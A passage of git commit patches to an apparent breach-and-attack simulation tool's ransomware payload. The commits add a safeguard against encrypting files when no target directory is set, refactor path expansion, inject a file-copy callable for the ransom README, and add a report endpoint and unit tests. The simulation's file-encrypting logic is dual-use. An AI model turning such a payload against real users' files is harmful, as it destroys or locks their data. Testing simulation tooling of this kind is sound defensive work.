str(tmp_path)) return tmp_path From 6282cd0de333e2d834a7e9d4d5fedb841657f340 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 7 Jul 2021 10:48:35 +0300 Subject: [PATCH 1035/1360] Add a UT to test if ransomware payload tries to encrypt files if "linux_target_dir" and "windows_target_dir" inputs are empty. We have empty "linux_target_dir" and "windows_target_dir" by default so it's important that ransomware payload doesn't try to encrypt files by default, without users' knowledge. --- .../ransomware/test_ransomware_payload.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 2014c748600..f0cb6bad943 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -163,6 +163,24 @@ def test_encryption_skipped_if_configured_false( assert hash_file(ransomware_target / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 +def test_encryption_skipped_if_no_directory( + ransomware_payload_config, telemetry_messenger_spy, monkeypatch +): + ransomware_payload_config["encryption"]["enabled"] = True + ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" + ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" + + def _file_encryption_method_mock(*args, **kwargs): + raise Exception( + "Ransomware payload attempted to " + "encrypt files even though no directory was provided!" + ) + + ransomware_payload = RansomwarePayload(ransomware_payload_config, telemetry_messenger_spy) + monkeypatch.setattr(ransomware_payload, "_encrypt_files", _file_encryption_method_mock) + ransomware_payload.run_payload() + + def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): ransomware_payload.run_payload() From bd60bef35f5cb9198db629dfbbf0983d7d422468 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 7 Jul 2021 11:23:10 +0300 Subject: [PATCH 1036/1360] Change the expand_path method in file_utils.py to throw an error if an empty file path is provided instead of expanding it to current working directory --- monkey/common/utils/file_utils.py | 6 ++++++ .../unit_tests/common/utils/test_common_file_utils.py | 9 ++++++++- 2 files changed, 14 insertions(+), 1 deletion(-) diff --git a/monkey/common/utils/file_utils.py b/monkey/common/utils/file_utils.py index 225fb8732a0..6110cd020f1 100644 --- a/monkey/common/utils/file_utils.py +++ b/monkey/common/utils/file_utils.py @@ -1,5 +1,11 @@ import os +class InvalidPath(Exception): + pass + + def expand_path(path: str) -> str: + if not path: + raise InvalidPath("Empty path provided") return os.path.expandvars(os.path.expanduser(path)) diff --git a/monkey/tests/unit_tests/common/utils/test_common_file_utils.py b/monkey/tests/unit_tests/common/utils/test_common_file_utils.py index 226a403b8b8..b67341cfedb 100644 --- a/monkey/tests/unit_tests/common/utils/test_common_file_utils.py +++ b/monkey/tests/unit_tests/common/utils/test_common_file_utils.py @@ -1,6 +1,8 @@ import os -from common.utils.file_utils import expand_path +import pytest + +from common.utils.file_utils import InvalidPath, expand_path def test_expand_user(patched_home_env): @@ -15,3 +17,8 @@ def test_expand_vars(patched_home_env): expected_path = os.path.join(patched_home_env, "test") assert expand_path(input_path) == expected_path + + +def test_expand_path__empty_path_provided(): + with pytest.raises(InvalidPath): + expand_path("") From ca1712cdd65e86d2ed4b8221d4b369e4a19dbde2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 7 Jul 2021 11:40:56 +0300 Subject: [PATCH 1037/1360] Extract the logic of determining target directory for ransomware payload into a separate method --- .../ransomware/ransomware_payload.py | 25 +++++++++++-------- 1 file changed, 15 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index a58b5054582..0cf8d77ec3d 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -4,7 +4,7 @@ from pprint import pformat from typing import List, Optional, Tuple -from common.utils.file_utils import expand_path +from common.utils.file_utils import InvalidPath, expand_path from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor from infection_monkey.ransomware.file_selectors import select_production_safe_target_files from infection_monkey.ransomware.targeted_file_extensions import TARGETED_FILE_EXTENSIONS @@ -28,15 +28,7 @@ def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): self._encryption_enabled = config["encryption"]["enabled"] self._readme_enabled = config["other_behaviors"]["readme"] - target_directories = config["encryption"]["directories"] - self._target_dir = Path( - expand_path( - target_directories["windows_target_dir"] - if is_windows_os() - else target_directories["linux_target_dir"] - ) - ) - + self._target_dir = RansomwarePayload.get_target_dir(config) self._new_file_extension = EXTENSION self._valid_file_extensions_for_encryption = TARGETED_FILE_EXTENSIONS.copy() self._valid_file_extensions_for_encryption.discard(self._new_file_extension) @@ -44,6 +36,19 @@ def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): self._encryptor = BitflipEncryptor(chunk_size=CHUNK_SIZE) self._telemetry_messenger = telemetry_messenger + @staticmethod + def get_target_dir(config: dict): + target_directories = config["encryption"]["directories"] + if is_windows_os(): + target_dir_field = target_directories["windows_target_dir"] + else: + target_dir_field = target_directories["linux_target_dir"] + + try: + return Path(expand_path(target_dir_field)) + except InvalidPath: + return None + def run_payload(self): if self._encryption_enabled: LOG.info("Running ransomware payload") From d3beebf99553f9c16287ce67582513d952e93a7f Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 7 Jul 2021 11:41:42 +0300 Subject: [PATCH 1038/1360] Change ransomware_payload.py to not encrypt files in CWD if no directory was specified --- monkey/infection_monkey/ransomware/ransomware_payload.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 0cf8d77ec3d..56fd6f07f39 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -50,7 +50,7 @@ def get_target_dir(config: dict): return None def run_payload(self): - if self._encryption_enabled: + if self._encryption_enabled and self._target_dir: LOG.info("Running ransomware payload") file_list = self._find_files() self._encrypt_files(file_list) From d33fc26fe348e0ce0a3da2d46cd6e7e8a139f838 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 7 Jul 2021 10:48:35 +0300 Subject: [PATCH 1039/1360] Add a UT to test if ransomware payload tries to encrypt files if "linux_target_dir" and "windows_target_dir" inputs are empty. We have empty "linux_target_dir" and "windows_target_dir" by default so it's important that ransomware payload doesn't try to encrypt files by default, without users' knowledge. --- .../ransomware/test_ransomware_payload.py | 18 ++++++++++++++++++ 1 file changed, 18 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 2014c748600..f0cb6bad943 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -163,6 +163,24 @@ def test_encryption_skipped_if_configured_false( assert hash_file(ransomware_target / TEST_KEYBOARD_TXT) == TEST_KEYBOARD_TXT_CLEARTEXT_SHA256 +def test_encryption_skipped_if_no_directory( + ransomware_payload_config, telemetry_messenger_spy, monkeypatch +): + ransomware_payload_config["encryption"]["enabled"] = True + ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" + ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" + + def _file_encryption_method_mock(*args, **kwargs): + raise Exception( + "Ransomware payload attempted to " + "encrypt files even though no directory was provided!" + ) + + ransomware_payload = RansomwarePayload(ransomware_payload_config, telemetry_messenger_spy) + monkeypatch.setattr(ransomware_payload, "_encrypt_files", _file_encryption_method_mock) + ransomware_payload.run_payload() + + def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): ransomware_payload.run_payload() From 726e18079737c51d32bf4a0b6b56988ffc3f1dd2 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 7 Jul 2021 13:02:10 +0300 Subject: [PATCH 1040/1360] Add a log message explaining why ransomware target directory is set to none --- monkey/infection_monkey/ransomware/ransomware_payload.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 56fd6f07f39..f2e3eb47658 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -46,7 +46,8 @@ def get_target_dir(config: dict): try: return Path(expand_path(target_dir_field)) - except InvalidPath: + except InvalidPath as e: + LOG.debug(f"Target ransomware dir set to None: {e}") return None def run_payload(self): From 8508a9f98f64225a2af8bf2df75a423820d9013b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 6 Jul 2021 12:18:33 -0400 Subject: [PATCH 1041/1360] Island: Remove unnecessary expand_path() call --- monkey/monkey_island/cc/server_utils/consts.py | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py index 7c6cee89d23..dbbe6753139 100644 --- a/monkey/monkey_island/cc/server_utils/consts.py +++ b/monkey/monkey_island/cc/server_utils/consts.py @@ -37,9 +37,7 @@ def _get_monkey_island_abs_path() -> str: _MONGO_EXECUTABLE_PATH_WIN if is_windows_os() else _MONGO_EXECUTABLE_PATH_LINUX ) -DEFAULT_SERVER_CONFIG_PATH = expand_path( - os.path.join(MONKEY_ISLAND_ABS_PATH, "cc", SERVER_CONFIG_FILENAME) -) +DEFAULT_SERVER_CONFIG_PATH = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", SERVER_CONFIG_FILENAME)) DEFAULT_LOG_LEVEL = "INFO" From ae7687243f99cdf0d17494b38ec53b438ce53627 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 6 Jul 2021 12:21:44 -0400 Subject: [PATCH 1042/1360] Island: Return Path object from expand_path() --- monkey/common/utils/file_utils.py | 6 ++++-- .../ransomware/ransomware_payload.py | 2 +- .../common/utils/test_common_file_utils.py | 4 ++-- .../cc/setup/test_island_config_options.py | 19 ++++++++++--------- 4 files changed, 17 insertions(+), 14 deletions(-) diff --git a/monkey/common/utils/file_utils.py b/monkey/common/utils/file_utils.py index 6110cd020f1..a4cff2b482a 100644 --- a/monkey/common/utils/file_utils.py +++ b/monkey/common/utils/file_utils.py @@ -1,11 +1,13 @@ import os +from pathlib import Path class InvalidPath(Exception): pass -def expand_path(path: str) -> str: +def expand_path(path: str) -> Path: if not path: raise InvalidPath("Empty path provided") - return os.path.expandvars(os.path.expanduser(path)) + + return Path(os.path.expandvars(os.path.expanduser(path))) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index f2e3eb47658..29d1fcd65d9 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -45,7 +45,7 @@ def get_target_dir(config: dict): target_dir_field = target_directories["linux_target_dir"] try: - return Path(expand_path(target_dir_field)) + return expand_path(target_dir_field) except InvalidPath as e: LOG.debug(f"Target ransomware dir set to None: {e}") return None diff --git a/monkey/tests/unit_tests/common/utils/test_common_file_utils.py b/monkey/tests/unit_tests/common/utils/test_common_file_utils.py index b67341cfedb..3fe981a749b 100644 --- a/monkey/tests/unit_tests/common/utils/test_common_file_utils.py +++ b/monkey/tests/unit_tests/common/utils/test_common_file_utils.py @@ -7,14 +7,14 @@ def test_expand_user(patched_home_env): input_path = os.path.join("~", "test") - expected_path = os.path.join(patched_home_env, "test") + expected_path = patched_home_env / "test" assert expand_path(input_path) == expected_path def test_expand_vars(patched_home_env): input_path = os.path.join("$HOME", "test") - expected_path = os.path.join(patched_home_env, "test") + expected_path = patched_home_env / "test" assert expand_path(input_path) == expected_path diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py index 1554980a264..c9964af7e8a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/test_island_config_options.py @@ -1,4 +1,5 @@ import os +from pathlib import Path from monkey_island.cc.server_utils.consts import ( DEFAULT_CRT_PATH, @@ -37,7 +38,7 @@ def test_data_dir_expanduser(patched_home_env): assert_data_dir_equals( {"data_dir": os.path.join("~", DATA_DIR_NAME)}, - os.path.join(patched_home_env, DATA_DIR_NAME), + patched_home_env / DATA_DIR_NAME, ) @@ -46,12 +47,12 @@ def test_data_dir_expandvars(patched_home_env): assert_data_dir_equals( {"data_dir": os.path.join("$HOME", DATA_DIR_NAME)}, - os.path.join(patched_home_env, DATA_DIR_NAME), + patched_home_env / DATA_DIR_NAME, ) def assert_data_dir_equals(config_file_contents, expected_data_dir): - assert_island_config_option_equals(config_file_contents, "data_dir", expected_data_dir) + assert_island_config_option_equals(config_file_contents, "data_dir", Path(expected_data_dir)) def test_log_level(): @@ -86,7 +87,7 @@ def test_crt_path_expanduser(patched_home_env): assert_ssl_certificate_file_equals( {"ssl_certificate": {"ssl_certificate_file": os.path.join("~", FILE_NAME)}}, - os.path.join(patched_home_env, FILE_NAME), + patched_home_env / FILE_NAME, ) @@ -95,13 +96,13 @@ def test_crt_path_expandvars(patched_home_env): assert_ssl_certificate_file_equals( {"ssl_certificate": {"ssl_certificate_file": os.path.join("$HOME", FILE_NAME)}}, - os.path.join(patched_home_env, FILE_NAME), + patched_home_env / FILE_NAME, ) def assert_ssl_certificate_file_equals(config_file_contents, expected_ssl_certificate_file): assert_island_config_option_equals( - config_file_contents, "crt_path", expected_ssl_certificate_file + config_file_contents, "crt_path", Path(expected_ssl_certificate_file) ) @@ -121,7 +122,7 @@ def test_key_path_expanduser(patched_home_env): assert_ssl_certificate_key_file_equals( {"ssl_certificate": {"ssl_certificate_key_file": os.path.join("~", FILE_NAME)}}, - os.path.join(patched_home_env, FILE_NAME), + patched_home_env / FILE_NAME, ) @@ -130,13 +131,13 @@ def test_key_path_expandvars(patched_home_env): assert_ssl_certificate_key_file_equals( {"ssl_certificate": {"ssl_certificate_key_file": os.path.join("$HOME", FILE_NAME)}}, - os.path.join(patched_home_env, FILE_NAME), + patched_home_env / FILE_NAME, ) def assert_ssl_certificate_key_file_equals(config_file_contents, expected_ssl_certificate_file): assert_island_config_option_equals( - config_file_contents, "key_path", expected_ssl_certificate_file + config_file_contents, "key_path", Path(expected_ssl_certificate_file) ) From ecb20dc99a88032063e497aca0f0eacf2d340685 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 7 Jul 2021 19:14:45 -0400 Subject: [PATCH 1043/1360] Island: Refactor test_encryption_skipped_if_no_directory() The old implementation tightly coupled the test to the specific implementation of the ransomware payload. Since the ransomware payload provides insight into its actions in the form of telemetry, it should be sufficient to test whether or not any telemetries were sent in order to determine whether or not encryption was skipped. This way, the test can remain decoupled from the internal workings of the ransomware payload. --- .../ransomware/test_ransomware_payload.py | 8 +------- 1 file changed, 1 insertion(+), 7 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index f0cb6bad943..6a37ee6e52f 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -170,15 +170,9 @@ def test_encryption_skipped_if_no_directory( ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" - def _file_encryption_method_mock(*args, **kwargs): - raise Exception( - "Ransomware payload attempted to " - "encrypt files even though no directory was provided!" - ) - ransomware_payload = RansomwarePayload(ransomware_payload_config, telemetry_messenger_spy) - monkeypatch.setattr(ransomware_payload, "_encrypt_files", _file_encryption_method_mock) ransomware_payload.run_payload() + assert len(telemetry_messenger_spy.telemetries) == 0 def test_telemetry_success(ransomware_payload, telemetry_messenger_spy): From 79d042b47112b6843520b0223b4a5c6a8ec3309b Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 8 Jul 2021 15:44:43 +0530 Subject: [PATCH 1044/1360] island: Create RansomwareReportService and add `get_exploitation_stats()` to it --- .../monkey_island/cc/resources/ransomware_report.py | 3 ++- .../monkey_island/cc/services/ransomware_report.py | 13 +++++++++++++ 2 files changed, 15 insertions(+), 1 deletion(-) create mode 100644 monkey/monkey_island/cc/services/ransomware_report.py diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py index 55da76b0654..f0232e72e39 100644 --- a/monkey/monkey_island/cc/resources/ransomware_report.py +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -2,9 +2,10 @@ from flask import jsonify from monkey_island.cc.resources.auth.auth import jwt_required +from monkey_island.cc.services.ransomware_report import RansomwareReportService class RansomwareReport(flask_restful.Resource): @jwt_required def get(self): - return jsonify({"report": None}) + return jsonify({"report": None, "stats": RansomwareReportService.get_exploitation_stats()}) diff --git a/monkey/monkey_island/cc/services/ransomware_report.py b/monkey/monkey_island/cc/services/ransomware_report.py new file mode 100644 index 00000000000..93def94d7fc --- /dev/null +++ b/monkey/monkey_island/cc/services/ransomware_report.py @@ -0,0 +1,13 @@ +from monkey_island.cc.services.reporting.report import ReportService + + +class RansomwareReportService: + def __init__(self): + pass + + @staticmethod + def get_exploitation_stats(): + scanned = ReportService.get_scanned() + exploited = ReportService.get_exploited() + + return {"scanned": scanned, "exploited": exploited} From d7ec2db47725633ad1cf36cc3605a28c93048937 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 8 Jul 2021 15:46:27 +0530 Subject: [PATCH 1045/1360] island: Rename `get_exploitation_stats()` to `get_exploitation_details()` --- monkey/monkey_island/cc/resources/ransomware_report.py | 4 +++- monkey/monkey_island/cc/services/ransomware_report.py | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py index f0232e72e39..96abfe252f0 100644 --- a/monkey/monkey_island/cc/resources/ransomware_report.py +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -8,4 +8,6 @@ class RansomwareReport(flask_restful.Resource): @jwt_required def get(self): - return jsonify({"report": None, "stats": RansomwareReportService.get_exploitation_stats()}) + return jsonify( + {"report": None, "stats": RansomwareReportService.get_exploitation_details()} + ) diff --git a/monkey/monkey_island/cc/services/ransomware_report.py b/monkey/monkey_island/cc/services/ransomware_report.py index 93def94d7fc..fd1ec5b697a 100644 --- a/monkey/monkey_island/cc/services/ransomware_report.py +++ b/monkey/monkey_island/cc/services/ransomware_report.py @@ -6,7 +6,7 @@ def __init__(self): pass @staticmethod - def get_exploitation_stats(): + def get_exploitation_details(): scanned = ReportService.get_scanned() exploited = ReportService.get_exploited() From 27058cc827c8503cc2b6c239e5c62abd01cd4c7f Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 8 Jul 2021 19:49:08 +0530 Subject: [PATCH 1046/1360] island: Remove unnecessary code in RansomwareReportService --- monkey/monkey_island/cc/services/ransomware_report.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/monkey_island/cc/services/ransomware_report.py b/monkey/monkey_island/cc/services/ransomware_report.py index fd1ec5b697a..23fb8cec4b3 100644 --- a/monkey/monkey_island/cc/services/ransomware_report.py +++ b/monkey/monkey_island/cc/services/ransomware_report.py @@ -2,9 +2,6 @@ class RansomwareReportService: - def __init__(self): - pass - @staticmethod def get_exploitation_details(): scanned = ReportService.get_scanned() From 38bead54ae5fde912a32ff99ef1f8f4e2050d073 Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 8 Jul 2021 19:53:52 +0530 Subject: [PATCH 1047/1360] island: Extract methods (all static) in class RansomwareReportService and remove the class --- monkey/monkey_island/cc/resources/ransomware_report.py | 6 ++---- monkey/monkey_island/cc/services/ransomware_report.py | 10 ++++------ 2 files changed, 6 insertions(+), 10 deletions(-) diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py index 96abfe252f0..d13a216e931 100644 --- a/monkey/monkey_island/cc/resources/ransomware_report.py +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -2,12 +2,10 @@ from flask import jsonify from monkey_island.cc.resources.auth.auth import jwt_required -from monkey_island.cc.services.ransomware_report import RansomwareReportService +from monkey_island.cc.services.ransomware_report import get_exploitation_details class RansomwareReport(flask_restful.Resource): @jwt_required def get(self): - return jsonify( - {"report": None, "stats": RansomwareReportService.get_exploitation_details()} - ) + return jsonify({"report": None, "stats": get_exploitation_details()}) diff --git a/monkey/monkey_island/cc/services/ransomware_report.py b/monkey/monkey_island/cc/services/ransomware_report.py index 23fb8cec4b3..74d30cf9302 100644 --- a/monkey/monkey_island/cc/services/ransomware_report.py +++ b/monkey/monkey_island/cc/services/ransomware_report.py @@ -1,10 +1,8 @@ from monkey_island.cc.services.reporting.report import ReportService -class RansomwareReportService: - @staticmethod - def get_exploitation_details(): - scanned = ReportService.get_scanned() - exploited = ReportService.get_exploited() +def get_exploitation_details(): + scanned = ReportService.get_scanned() + exploited = ReportService.get_exploited() - return {"scanned": scanned, "exploited": exploited} + return {"scanned": scanned, "exploited": exploited} From a95adfb5b6a2fbe0174c333ba6537ac88133f62e Mon Sep 17 00:00:00 2001 From: Shreya Date: Thu, 8 Jul 2021 19:59:34 +0530 Subject: [PATCH 1048/1360] island: Replace key ("stats" -> "propagation") in RansomwareReport data --- monkey/monkey_island/cc/resources/ransomware_report.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/ransomware_report.py b/monkey/monkey_island/cc/resources/ransomware_report.py index d13a216e931..c5dfef3a887 100644 --- a/monkey/monkey_island/cc/resources/ransomware_report.py +++ b/monkey/monkey_island/cc/resources/ransomware_report.py @@ -8,4 +8,4 @@ class RansomwareReport(flask_restful.Resource): @jwt_required def get(self): - return jsonify({"report": None, "stats": get_exploitation_details()}) + return jsonify({"report": None, "propagation": get_exploitation_details()}) From f0e9109f6417a5c528d7ba9a5901b819b2ff0fc2 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 8 Jul 2021 11:23:15 -0400 Subject: [PATCH 1049/1360] Agent: Inject copy_file callable into RansomwarePayload In order to test certain conditions, our options are to either monkeypatch shutil.copyfile(), or inject a callable into the RansomwarePayload. Monkeypatching shutil.copyfile() could lead to issues down the road. For example, if the implementation of `_leave_readme()` is changed to no longer use copyfile(), a test that asserts that copyfile() has not been called will pass, even though a file may have been copied. --- monkey/infection_monkey/monkey.py | 3 +- .../ransomware/ransomware_payload.py | 13 +++++--- .../ransomware/test_ransomware_payload.py | 33 ++++++++++++------- 3 files changed, 32 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index a75304660f5..e89b9ab2c68 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -1,6 +1,7 @@ import argparse import logging import os +import shutil import subprocess import sys import time @@ -477,7 +478,7 @@ def run_ransomware(): try: RansomwarePayload( - WormConfiguration.ransomware, batching_telemetry_messenger + WormConfiguration.ransomware, batching_telemetry_messenger, shutil.copyfile ).run_payload() except Exception as ex: LOG.error(f"An unexpected error occurred while running the ransomware payload: {ex}") diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 29d1fcd65d9..05c2159d214 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -1,8 +1,7 @@ import logging -import shutil from pathlib import Path from pprint import pformat -from typing import List, Optional, Tuple +from typing import Callable, List, Optional, Tuple from common.utils.file_utils import InvalidPath, expand_path from infection_monkey.ransomware.bitflip_encryptor import BitflipEncryptor @@ -22,7 +21,12 @@ class RansomwarePayload: - def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): + def __init__( + self, + config: dict, + telemetry_messenger: ITelemetryMessenger, + copy_file: Callable[[str, str], None], + ): LOG.debug(f"Ransomware payload configuration:\n{pformat(config)}") self._encryption_enabled = config["encryption"]["enabled"] @@ -34,6 +38,7 @@ def __init__(self, config: dict, telemetry_messenger: ITelemetryMessenger): self._valid_file_extensions_for_encryption.discard(self._new_file_extension) self._encryptor = BitflipEncryptor(chunk_size=CHUNK_SIZE) + self._copy_file = copy_file self._telemetry_messenger = telemetry_messenger @staticmethod @@ -97,6 +102,6 @@ def _leave_readme(self): LOG.info(f"Leaving a ransomware README file at {readme_dest_path}") try: - shutil.copyfile(README_SRC, readme_dest_path) + self._copy_file(README_SRC, readme_dest_path) except Exception as ex: LOG.warning(f"An error occurred while attempting to leave a README.txt file: {ex}") diff --git a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py index 6a37ee6e52f..89c9f5ff512 100644 --- a/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py +++ b/monkey/tests/unit_tests/infection_monkey/ransomware/test_ransomware_payload.py @@ -1,4 +1,5 @@ import os +import shutil from pathlib import Path, PurePosixPath import pytest @@ -44,12 +45,20 @@ def ransomware_payload_config(ransomware_target): @pytest.fixture -def ransomware_payload(ransomware_payload_config, telemetry_messenger_spy): - return RansomwarePayload(ransomware_payload_config, telemetry_messenger_spy) +def ransomware_payload(build_ransomware_payload, ransomware_payload_config): + return build_ransomware_payload(ransomware_payload_config) + + +@pytest.fixture +def build_ransomware_payload(telemetry_messenger_spy): + def inner(config): + return RansomwarePayload(config, telemetry_messenger_spy, shutil.copyfile) + + return inner def test_env_variables_in_target_dir_resolved_linux( - ransomware_payload_config, ransomware_target, telemetry_messenger_spy, patched_home_env + ransomware_payload_config, build_ransomware_payload, ransomware_target, patched_home_env ): path_with_env_variable = "$HOME/ransomware_target" @@ -58,7 +67,7 @@ def test_env_variables_in_target_dir_resolved_linux( ] = ransomware_payload_config["encryption"]["directories"][ "windows_target_dir" ] = path_with_env_variable - RansomwarePayload(ransomware_payload_config, telemetry_messenger_spy).run_payload() + build_ransomware_payload(ransomware_payload_config).run_payload() assert ( hash_file(ransomware_target / with_extension(ALL_ZEROS_PDF)) @@ -152,11 +161,11 @@ def test_skip_already_encrypted_file(ransomware_target, ransomware_payload): def test_encryption_skipped_if_configured_false( - ransomware_payload_config, ransomware_target, telemetry_messenger_spy + build_ransomware_payload, ransomware_payload_config, ransomware_target ): ransomware_payload_config["encryption"]["enabled"] = False - ransomware_payload = RansomwarePayload(ransomware_payload_config, telemetry_messenger_spy) + ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() assert hash_file(ransomware_target / ALL_ZEROS_PDF) == ALL_ZEROS_PDF_CLEARTEXT_SHA256 @@ -164,13 +173,13 @@ def test_encryption_skipped_if_configured_false( def test_encryption_skipped_if_no_directory( - ransomware_payload_config, telemetry_messenger_spy, monkeypatch + build_ransomware_payload, ransomware_payload_config, telemetry_messenger_spy ): ransomware_payload_config["encryption"]["enabled"] = True ransomware_payload_config["encryption"]["directories"]["linux_target_dir"] = "" ransomware_payload_config["encryption"]["directories"]["windows_target_dir"] = "" - ransomware_payload = RansomwarePayload(ransomware_payload_config, telemetry_messenger_spy) + ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() assert len(telemetry_messenger_spy.telemetries) == 0 @@ -205,17 +214,17 @@ def test_telemetry_failure(monkeypatch, ransomware_payload, telemetry_messenger_ assert "No such file or directory" in telem_1.get_data()["files"][0]["error"] -def test_readme_false(ransomware_payload_config, ransomware_target, telemetry_messenger_spy): +def test_readme_false(build_ransomware_payload, ransomware_payload_config, ransomware_target): ransomware_payload_config["other_behaviors"]["readme"] = False - ransomware_payload = RansomwarePayload(ransomware_payload_config, telemetry_messenger_spy) + ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() assert not Path(ransomware_target / README_DEST).exists() -def test_readme_true(ransomware_payload_config, ransomware_target, telemetry_messenger_spy): +def test_readme_true(build_ransomware_payload, ransomware_payload_config, ransomware_target): ransomware_payload_config["other_behaviors"]["readme"] = True - ransomware_payload = RansomwarePayload(ransomware_payload_config, telemetry_messenger_spy) + ransomware_payload = build_ransomware_payload(ransomware_payload_config) ransomware_payload.run_payload() assert Path(ransomware_target / README_DEST).exists() From 064525e6b9749f7da5c51497579eeadb6d3188b9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 8 Jul 2021 11:59:50 -0400 Subject: [PATCH 1050/1360] Agent: Don't try to create README.txt if one already exists --- .../ransomware/ransomware_payload.py | 4 ++++ .../ransomware/test_ransomware_payload.py | 16 ++++++++++++++++ 2 files changed, 20 insertions(+) diff --git a/monkey/infection_monkey/ransomware/ransomware_payload.py b/monkey/infection_monkey/ransomware/ransomware_payload.py index 05c2159d214..a6637b6730c 100644 --- a/monkey/infection_monkey/ransomware/ransomware_payload.py +++ b/monkey/infection_monkey/ransomware/ransomware_payload.py @@ -99,6 +99,10 @@ def _send_telemetry(self, filepath: Path, success: bool, error: str): def _leave_readme(self): if self._readme_enabled: readme_dest_path = self._target_dir / README_DEST + if readme_dest_path.exists(): + 